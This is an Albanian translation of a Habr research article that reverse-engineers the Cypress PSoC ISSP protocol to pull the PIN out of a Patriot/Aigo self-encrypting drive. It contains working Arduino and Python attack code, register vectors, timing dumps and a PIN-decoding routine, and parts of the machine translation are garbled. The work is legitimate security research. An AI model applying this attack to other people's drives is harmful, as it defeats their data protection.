Ky është pjesa e dytë dhe përfundimtare e artikullit mbi thyerjen e disqeve të jashtme të vetë-enkriptueshëm. Kujtoj se të fundit, një koleg më solli një hard disk Patriot (Aigo) SK8671, dhe vendosa ta rreversoj, tani po ndaj atë që arrita. Para se të lexoni më tej, sigurohuni që të njiheni me të artikullit.

4. Fillojmë të marrim dump nga flash-i i brendshëm PSoC
Prandaj, gjithçka tregon se (siç e kemi zbuluar në [pjesën e parë]()), PIN-i ruhet në thellësitë e flash-it të PSoC. Prandaj, duhet të lexojmë këto thellësi flash. Fronti i punëve të nevojshme:
- të kontrolloni "komunikimin" me mikroproçesorin;
- të gjejmë një mënyrë për të verifikuar nëse ky "komunikim" është i mbrojtur nga leximi nga jashtë;
- gjeni një mënyrë për të kapërcyer mbrojtjen.
Ekzistojnë dy vende ku ka kuptim të kërkosh një kod PIN funksional:
- memoria e brendshme flash;
- SRAM, ku kodin PIN mund të ruhet për ta krahasuar me atë që fut përdoruesi.
Për të shkuar përpara, do të theksoj se arrita të nxjerr një dump të flash-it të brendshëm të PSoC, duke anashkaluar sistemin e saj të mbrojtjes, përmes një sulmi harduerik 'tracing me rikthim të ftohtë' – pas rrevizionit të mundësive të papublikuara të protokollit ISSP. Kjo më lejoi të merja drejtperdrejt dump-in e kodit PIN aktiv.
$ ./psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9Kodi përfundimtar:
- ;
- .
5. Protokolli ISSP
5.1. Çfarë është ISSP
‘Komunikimi’ me mikroprocesorin mund të nënkuptojë gjëra të ndryshme: nga ‘prodhuesi te prodhuesi’, deri te ndërveprimi duke përdorur protokollin serial (p.sh., ICSP për PIC të Microchip-it).
Për Cypress, për këtë ekziston një protokoll i vet, pronar, i quajtur ISSP (protokolli i programimit serial në sistem; in-system serial programming protocol), i cili përshkruhet pjesërisht në . ofron gjithashtu disa informacion. Ekziston gjithashtu një analog OpenSource, e quajtur HSSP (ne do ta përdorim atë pak më vonë). ISSP funksionon kështu:
- rifresko PSoC;
- nxjerr një numër magjik në pins serial të këtij PSoC; për të hyrë në modin e programimit të jashtëm;
- dërgon komandat, të cilat përbëjnë linja të gjata bitësh, të quajtura «vektorë».
Në dokumentacionin për ISSP, këta vektorë janë të përcaktuar vetëm për një grusht të vogël komandash:
- Initialize-1
- Initialize-2
- Initialize-3 (varianti 3V dhe 5V)
- ID-SETUP
- READ-ID-WORD
- SET-BLOCK-NUM: 10011111010dddddddd111, ku dddddddd= numri i bllokut
- BULK ERASE
- PROGRAM-BLOCK
- VERIFY-SETUP
- READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, ku DDDDDDDD = dalja e të dhënave, aaaaaa = adresa (6 bit)
- WRITE-BYTE: 10010aaaaaadddddddd111, ku dddddddd = hyrja e të dhënave, aaaaaa = adresa (6 bit)
- SECURE
- CHECKSUM-SETUP
- READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, ku DDDDDDDDDDDDDDDD = dalja e të dhënave: kontrolli i shumës së pajisjes
- ERASE BLOCK
Për shembull, vektori për Initialize-2:
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111Të gjithë vektorët kanë të njëjtin gjatësi: 22 bit. Në dokumentacionin për HSSP ka disa informacione shtesë për ISSP: «vektori ISSP nuk është asgjë tjetër përveç një sekuencë bitësh, që paraqet një grup instrukcionesh».
5.2. Demistifikimi i vektorëve
Të kuptojmë çfarë po ndodh këtu. Në fillim mendova se këto vektore përfaqësonin variante raw të instrukcioneve M8C, por pasi e kontrollova këtë hipotezë, zbulova se kodet e operacioneve nuk përputhen.
Pastaj kërkova në Google vektorin e lartpërmendur dhe u ndesha me studim, ku autori, megjithëse nuk thellohet në detaje, jep disa këshilla të dobishme: "Çdo instrukcion fillon me tre bitë që i përkasin një prej katër mnemonikave (lexo nga RAM, shkruaj në RAM, lexoj regjistrin, shkruaj regjistrin). Më pas vjen një adresë 8-bitëshe, pas së cilës janë 8 bitë të dhënash (të lexuara ose për të shkruar) dhe përfundimisht tre bitë e ndalimit."
Pastaj arrita të nxjerr informacione shumë të dobishme nga kapitulli "Supervisory ROM (SROM)" . SROM është një ROM e koduar ngurtësisht, në PSoC, e cila ofron funksione shërbimi (në një parim të ngjashëm me Syscall), për kodin programor që ekzekutohet në hapësirën përdoruese:
- 00h: SWBootReset
- 01h: ReadBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: TableRead
- 07h: CheckSum
- 08h: Calibrate0
- 09h: Calibrate1
Duke krahasuar emrat e vektorëve me funksionet SROM, mund të lidhim operacione të ndryshme që mbështeten nga ky protokoll me parametrat e pritur SROM. Falë kësaj, mund të dekodojmë tre bitët e parë të vektorëve ISSP.
- 100 => "wrmem"
- 101 => "rdmem"
- 110 => "wrreg"
- 111 => "rdreg"
Megjithatë, një kuptim i plotë i proceseve brenda çipit mund të arrihet vetëm nëpërmjet komunikimit të drejtpërdrejtë me PSoC.
5.3. Komunikimi me PSoC
Përderisa Dirk Petrautsky tashmë kodin HSSP të Cypress-it në Arduino, përdora Arduino Uno për t'u lidhur me lidhësin ISSP të bordit të tastierës.
Kujdes, gjatë hulumtimeve të mia, kam modifikuar ndjeshëm kodin e Dirkut. Modifikimin tim mund ta gjeni në GitHub: dhe skripti përkatës në Python për komunikim me Arduino, në depozitat e mia .
Kështu, duke aplicuar Arduino, në fillim përdora vetëm vektorët "zyrtarë" për "komunikim". P tentativa për të lexuar ROM-in e brendshëm duke përdorur komandën VERIFY. Siç pritej, nuk arrita ta bëj këtë. Ndoshta për shkak se brenda memorjes së flash-it janë aktivizuar bitët e mbrojtjes nga leximi.
Më pas, krijova disa vektorë të thjeshtë të mi, për regjistrimin dhe leximin e memories/regjistrave. Vini re se mund të lexojmë tërë SROM-in, pavarësisht se flasha është e mbrojtur!
5.4. Identifikimi i regjistrave brenda çipit
Duke shikuar vektorët e "disassemble-uar", zbulova se pajisja përdor regjistra të dokumentuar (0xF8-0xFA), për të treguar M8C-opcodes, që ekzekutohen drejtpërdrejt, duke anashkaluar mbrojtjen. Kjo më lejoi të ekzekutoja opcode të ndryshme, si "ADD", "MOV A, X", "PUSH" ose "JMP". Falë tyre (duke vëzhguar efektet anësore që kanë mbi regjistrat) arrita të përcaktoj se cilët nga regjistrat e pa dokumentuar, në të vërtetë janë regjistra të zakonshëm (A, X, SP dhe PC).
Si rezultat, kodin "disassemble-uar", i gjeneruar nga mjeti HSSP_disas.rb, duket kështu (për qartësi kam shtuar komente):
--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # reset flags
[DE C0 1C] wrreg SP (f6), 0x00 # reset SP
[9F 07 5C] wrmem KEY1, 0x3A # mandatory argument for SSC
[9F 20 7C] wrmem KEY2, 0x03 # similarly
[DE A0 1C] wrreg PCh (f5), 0x00 # reset PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... up to 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # RAM pointer for output data
[DF 26 1C] wrreg opc1 (f9), 0x30 # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID for SSC call
[DE 00 DC] wrreg A (f0), 0x06 # number "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Opcode for SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Undocumented operation: execute external opcode
5.5. Bitet mbrojtëse
Në këtë fazë unë tashmë mund të komunikoj me PSoC, por ende nuk kam informacion të saktë në lidhje me bitet mbrojtëse të flash-it. U befasova shumë nga fakti se Cypress nuk i ofron përdoruesit të pajisjes asnjë mjet për të verifikuar nëse mbrojtja është aktivizuar ose jo. U thella në Google për të kuptuar përfundimisht se kodi HSSP, i ofruar nga Cypress, ishte përditësuar pas lëshimit të modifikimit të Dirk-ut. Dhe ja, u shfaq një vektor i ri:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # argumente të panjohura
[9F E0 1C] wrmem 0xFF, 0x00 # po ashtu
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # syscall i pa dokumentuar!
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Duke përdorim këtë vektor (shihni read_security_data në psoc.py), ne marrim të gjithë bitët e mbrojtjes në SRAM në 0x80, ku për çdo bllok të mbrojtur ka dy bite.
Rezultati është zhgënjyes: gjithçka është e mbrojtur në modin "ndaloni leximin dhe shkrimin e jashtëm." Prandaj, ne as nuk mund të lexojmë asgjë nga flashi, dhe as ta shkruajmë (për shembull për të futur një ROM-dumper). Dhe mënyra e vetme për të çaktivizuar mbrojtjen është të fshijmë plotësisht të gjithë çipin. 🙁
6. Sulmi i parë (i dështuar): ROMX
Megjithatë, ne mund të provojmë të bëjmë këtë truk të ardhshëm: pasi kemi mundësinë të ekzekutojmë opcode të rastësishëm, pse të mos ekzekutojmë ROMX, i cili aplikohet për të lexuar memorie flash? Kjo qasje ka shanse të mira për sukses. Sepse funksioni ReadBlock, i cili lexon të dhëna nga SROM (i përdorur nga vektorët), kontrollon nëse po thirret nga ISSP. Megjithatë, opcode ROMX, supozimisht, mund të mos ketë një kontroll të tillë. Kështu, ja kodi Python (pas shtimit të disa klasave ndihmëse në kodin C për Arduino):
for i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A
print "%02x" % ord(byte[0]) # print ROM byteFatkeqësisht, ky kod nuk funksionon. 🙁 Saktësisht, funksionon, por në daljen tonë po marrim opcode tona të veta (0x28 0x30 0x40)! Nuk mendoj se funksionaliteti përkatës i pajisjes është një element mbrojtjeje nga leximi. Kjo duket më shumë si një truk inxhinierik: gjatë ekzekutimit të opcode-ve të jashtme, autobusi i ROM-it përcaktohet në një buffer të përkohshëm.
7. Sulmi i dytë: gjurmimi me rikalim të ftohtë
Meqenëse triku me ROMX nuk funksionoi, fillova të mendoj një variacion tjetër të këtij truku – të përshkruar në publikim. .
7.1. Implementimi
Në dokumentacionin për ISSP, është dhënë vektori i mëposhtëm për CHECKSUM-SETUP:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Këtu në thelb bëhet një thirrje e funksionit SROM 0x07, siç është paraqitur në dokumentacion (kursive tim):
Ky është funksioni i kontrollit të shumës. Ai llogarit një shumë mbikëqyrëse 16-bit të numrit të blloqeve të përcaktuar nga përdoruesi – në një bankë flash, duke filluar nga zero. Parametri BLOCKID përdoret për të transmetuar numrin e blloqeve që do të përdoren në llogaritjen e shumës mbikëqyrëse. Vlera «1» do të llogariste shumën mbikëqyrëse vetëm për bllokun zero; ndërsa «0» do të çonte në llogaritjen e shumës mbikëqyrëse të gjithë 256 blloqeve të bankës flash. Shuma mbikëqyrëse 16-bit kthehet përmes KEY1 dhe KEY2. Në parametrin KEY1 regjistrohen 8 bitët e poshtme të checksum-it, ndërsa në KEY2 – 8 bitët e sipërme. Për pajisjet me disa blloqe flash, funksioni i checksum-it thirret për secilin veçmas. Numri i bllokut me të cilin do të punojë përcaktohet nga regjistri FLS_PR1 (duke vendosur bitin përkatës për bllokun e synuar të flash-it).
Kërkojini vëmendje se kjo është një checksum e thjeshtë: bajtët vetëm sa shtohen njëri pas tjetrit; nuk ka ndonjë hile të komplikuar të CRC. Për më tepër, duke ditur se në bërthamën M8C grupi i regjistrave është shumë i vogël, kam supozuar se gjatë llogaritjes së checksum-it, vlerat ndërmjetëse do të regjistrohen në të njëjtat variabla që do të dalin në rezultatin përfundimtar: KEY1 (0xF8) / KEY2 (0xF9).
Pra, në teori, sulmi im duket kështu:
- Lidheni përmes ISSP.
- Filloni llogaritjen e checksum-it, duke përdorur vektorin CHECKSUM-SETUP.
- Rivendosni procesorin pas një kohe të caktuar T.
- Lexoni RAM-in për të marrë checksum-in aktual C.
- Përsëritni hapat 3 dhe 4, duke rritur pak nga pak T çdo herë.
- Rivendosni të dhënat nga flash-i, duke e zbritur checksum-in e mëparshëm C nga ai aktual.
Megjithatë, ndodhi një problem: vektori Initialize-1, i cili duhet të dërgojmë pas ri-ngarkimit, tepron KEY1 dhe KEY2:
1100101000000000000000 # Magjia që kalon PSoC në mënyrën e programimit
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # kontrolla e shumës kalon këtu
[9F 20 7C] wrmem KEY2, 0x03 # dhe këtu
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # SROM-funksioni 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Ky kod fshin shumën tonë të çmuar, duke shkaktuar Calibrate1 (SROM-funksioni 9)… Ndoshta do të mund të hyjmë thjesht duke dërguar numrin magjik (nga fillimi i kodit të mësipërm) në mënyrën e programimit, dhe pastaj të lexojmë SRAM? Dhe po, funksionon! Kodi i Arduino-s që zb实施 këtë sulm është mjaft i thjeshtë:
case Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch())<<24;
checksum_delay |= ((uint32_t)getch())<<16;
checksum_delay |= ((uint32_t)getch())<<8;
checksum_delay |= getch();
if(checksum_delay > 10000) {
ms_delay = checksum_delay/1000;
checksum_delay = checksum_delay%1000;
}
else {
ms_delay = 0;
}
send_checksum_v();
if(checksum_delay)
delayMicroseconds(checksum_delay);
delay(ms_delay);
start_pmode();- Lexoni checksum_delay.
- Nisni llogaritjen e checksum-it (send_checksum_v).
- Prisni intervalin e caktuar; duke marrë parasysh pengesat e mëposhtme:
- kam humbur shumë kohë derisa mësova se në fakt funksionon saktë vetëm me vonesa që nuk e kalojnë 16383μs;
- dhe pastaj përsëri kam humbur po aq kohë derisa zbulova se delayMicroseconds, nëse i jepet 0 si hyrje, funksionon plotësisht gabim!
- Rinisni PSoC-in në modin e programimit (thjesht një numër magjik dërguar, pa dërguar vektorët inicializues).
Kodi përfundimtar në Python:
for delay in range(0, 150000): # задержка в микросекундах
for i in range(0, 10): # количество считывания для каждойиз задержек
try:
reset_psoc(quiet=True) # перезагрузка и вход в режим программирования
send_vectors() # отправка инициализирующих векторов
ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
res = ser.read(1) # считать arduino ACK
except Exception as e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
continue
print "%05d %02X %02X %02X" % (delay, # считать RAM-байты
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))Në dy fjalë, çfarë bën ky kod:
- Rifokuson PSoC (dhe i dërgon një numër magjik).
- Dërgon vektorë të plotë inicializimi.
- Thërret funksionin e Arduino Cmnd_STK_START_CSUM (0x85), ku si parametër dërgohet vonesa në mikrosekonda.
- Lexon kontrollin (0xF8 dhe 0xF9) dhe regjistrin e pa dokumentuar 0xF1.
Ky kodi ekzekutohet 10 herë për 1 mikrosekondë. 0xF1 është përfshirë këtu, pasi ishte e vetmja regjistër që ndryshoi gjatë llogaritjes së kontrolit të shumës. Mund të jetë ndonjë variabël përkohshëm e përdorur nga njësia aritmetiko-logjike. Vini re hack-un e shëmtuar me të cilin rindez Arduino-n, duke përdorur picocom, kur Arduino nuk jep më shenja jete (nuk e di pse).
7.2. Lexoni rezultatin
Rezultati i ekzekutimit të skriptit Python duket kështu (i thjeshtuar për lehtësinë e leximit):
DELAY F1 F8 F9 # F1 – regjistri i përmendur më lart i panjohur
# F8 bajti më i vogël i kontrollit të shumës
# F9 bajti më i madh i kontrollit të shumës
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # kontrolli i shumës rikthehet në 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # bajti i parë: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # bajti i dytë: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # nuk kam idenë se çfarë po ndodh këtu
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Përsëri E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Hmmmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # Ah, e kuptova! Ky është transferimi në bajtin më të madh
00063 01 17 01
[...]
00075 CC 17 01 # Pra, 0x117-0xE7: 0x30Këtu kemi një problem: pasi po operojmë me shumen kontrolluese reale, byte zero nuk ndryshon vlerën e lexuar. Sidoqoftë, pasi e gjithë procedura e llogaritjes (8192 byte) merr 0,1478 sekonda (me devijime të vogla në çdo ekzekutim), që është rreth 18,04 mks për byte, – mund ta përdorim këtë kohë për të verifikuar vlerën e shumes kontrolluese në momente të përshtatshme. Për kalimet e para, gjithçka lexon mjaft lehtësisht, pasi koha e ekzekutimit të procedurës së llogaritjes është pothuajse e njëjtë çdo herë. Megjithatë, fundi i këtij dump-i është më i pasigurt, sepse "devijime të parëndësishme në kohë" në çdo kalim – mblidhen dhe bëhen të rëndësishme:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DDKy është 10 dump-e për çdo vonesë mikrosekondare. Koha totale e punës për të marrë dump-in e të gjitha 8192 byte të flash-it, është rreth 48 orë.
7.3. Rindërtimi i flash-binarit
Ende nuk kam përfunduar kodin që rikonstruktiv të kodit programues të flash-it, duke marrë parasysh të gjitha devijimet për kohën. Megjithatë, fillimi i këtij kodi tashmë është rikonstruktuar. Për të siguruar që e kam bërë këtë saktë, e dëshmova me ndihmën e m8cdis:
0000: 80 67 jmp 0068h ; Vektori i rivendosjes
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Rejimi i pagesës u ndryshua nga 3 në 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f retDuket mjaft e besueshme!
7.4. Të gjejmë adresën e ruajtjes së PIN kodit
Tani që mund të lexojmë shumën kontrolluese në momentet e nevojshme, mund të verifikojmë lehtësisht se si dhe ku ndryshon kur ne:
- futemi një PIN kod të gabuar;
- ndryshojmë PIN kodin.
Fillimi, për të gjetur një adresë afatshkurtër të ruajtjes, kam bërë një dump të checksum me një hapje prej 10 ms, pas restart-it. Më pas kam futur një pin të gabuar dhe kam bërë të njëjtën gjë.
Rezultati doli të ishte jo shumë i këndshëm, pasi kishte shumë ndryshime. Por në fund më arriti të konfirmoja se checksum kishte ndryshuar diku ndërmjet 120,000 µs dhe 140,000 µs vonesë. Por "pincode", që pata gjetur atje, ishte krejtësisht i gabuar – për shkak të artefaktit të procedurës delayMicroseconds, e cila bën gjëra të paqarta kur i jepet 0.
Më pas, pas rreth 3 orësh, kujtova se thirrja sistemike SROM për CheckSum merr një argument në hyrje, që përcakton numrin e blloqeve për checksum! Kështu, ne mund të lokalizojmë lehtësisht adresën e ruajtjes së pin kodit dhe numrit "përpjekjeve të gabuara", – me saktësi deri në bllokun 64-byte.
Të dhënat e mia fillestare dhanë rezultatin e mëposhtëm:

Më pas kam ndërruar pin kodin nga "123456" në "1234567" dhe kam marrë:

Pra, pin kodi dhe numri i përpjekjeve të gabuara, duket se ruhen në bllokun №126.
7.5. Marrim dumpin e bllokut №126
Blloku nr. 126 duhet të ndodhet diku në rreth 125x64x18 = 144000μs, nga fillimi i llogaritjes së shumës kontrolluese, në dump-in tim të plotë, dhe duket mjaft e besueshme. Më pas, pas filtrimit manual të shumë dump-eve të pasakta (për shkak të akumulimit të "shkëputjeve të vogla në kohë"), munda të arrij këto byte (në vonesën 145527μs):

Kjo është krejt e qartë, që pin kodi ruhet në formë të papërpunuar! Këto vlera sigurisht që nuk janë shënuar në kodet ASCII, por siç rezulton – pasqyrojnë leximet e marra nga tastiera kapacitive.
Më në fund, kam bërë disa teste për të gjetur se ku ruhet numri i përpjekjeve të gabuara. Këtu janë rezultatet:

0xFF – do të thotë "15 përpjekje", dhe zvogëlohet me secilën përpjekje të gabuar.
7.6. Rindërtimi i pin kodit
Ja kodi im i shëmtuar, që mbledh gjithçka të thënë më lart:
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
last_csum = 0
pin_bytes = []
for delay in range(145495, 145719, 16):
csum = csum_at(delay, 1)
byte = (csum-last_csum)&0xFF
print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
pin_bytes.append(byte)
last_csum = csum
print "PIN: ",
for i in range(0, len(pin_bytes)):
if pin_bytes[i] in pin_map:
print pin_map[pin_bytes[i]],
printJa është rezultati i tij:
$ ./psoc.py
syncing: KO OK
Rivendosja e PSoC: KO Rivendosja e PSoC: KO Rivendosja e PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9Hurra! Funksionon!
Ju lutem vini re, që vlerat e vonesës që kam përdorur, me sa duket janë të vlefshme për një PSoC të caktuar – atë që kam përdorur.
8. Çfarë ndodh më tej?
Pra, le ta përmbledhim nga ana e PSoC, në kontekstin e ruajtësit tonë Aigo:
- ne mund të lexojmë SRAM, edhe nëse ajo është e mbrojtur nga leximet;
- ne mund ta anashkalojmë mbrojtjen nga leximet, përmes një sulmi 'trace with cold boot', dhe leximit të drejtpërdrejtë të PIN-it.
Megjithatë, sulmi ynë ka disa mangësi – për shkak të problemeve me sinkronizimin. Mund të përmirësohet në këtë mënyrë:
- të shkruhet një utilitare për dekodimin e saktë të të dhënave të daljes që janë marrë si rezultat i sulmit 'trace with cold boot';
- përdorni një FPGA për të krijuar vonesa më të sakta në kohë (ose përdorni orë hardueri Arduino);
- provoni një sulm tjetër: futni një kod pin të pavërtetë, rinisni dhe dump RAM-in, duke shpresuar që kodi i saktë të jetë ruajtur në RAM për krahasim. Megjithatë, kjo nuk është aq e lehtë në Arduino, sepse niveli i sinjalit të Arduino është 5 volt, ndërsa pasqyrimi që po e studiojmë punon me sinjale 3,3 volt.
Një gjë interesante që mund të provoni është të luani me nivelin e tensionit për të tejkaluar mbrojtjen e leximit. Nëse ky qasje do të kishte funksionuar, do të kishim mundur të merrnim të dhëna absolutisht të sakta nga flash-i, në vend që të mbështetesha në leximin e checksum-it me vonesa të pasakta.
Duke qenë se SROM-i, me siguri lexon bitet mbrojtëse përmes thirrjeve të sistemit ReadBlock, ne mund të bënim të njëjtën gjë, si në blogun e Dmitry Nedospasov – një ripërjetësim të sulmit të Chris Gerlinski, i shpallur në konferencën .
Një gjë tjetër argëtuese që mund të bënte – do të ishte të hiqje qeverisjen nga çipi: për të marrë një dump SRAM, për të zbuluar thirrjet sistemike të padokumentuara dhe dobësitë.
9. Përfundimi
Pra, mbrojtja e këtij disku nuk është shumë e mirë, sepse ai përdor një mikrocontroller të zakonshëm (jo "të fortifikuar") për ruajtjen e kodit PIN… Plus, nuk kam parë akoma (deri tani) se si qëndrojnë gjërat me enkriptimin e të dhënave në këtë pajisje!
Çfarë mund të rekomandoj për Aigo? Pas analizimit të disa modeleve të disqeve të fortifikuar HDD, në vitin 2015 unë bëra në SyScan, ku shqyrtova probleme të sigurisë të disa disqeve të jashtme HDD dhe dhashë rekomandime për përmirësimin e tyre. 🙂
Për këtë kërkim kam shpenzuar dy fundjavë dhe disa mbrëmje. Në total rreth 40 orë. Duke filluar nga fillimi (kur e hap diskun) dhe deri në fund (dumpi i kodit PIN). Këto 40 orë përfshijnë gjithashtu kohën që kam shpenzuar për të shkruar këtë artikull. Ishte një udhëtim shumë emocionues.
Burimi: habr.com
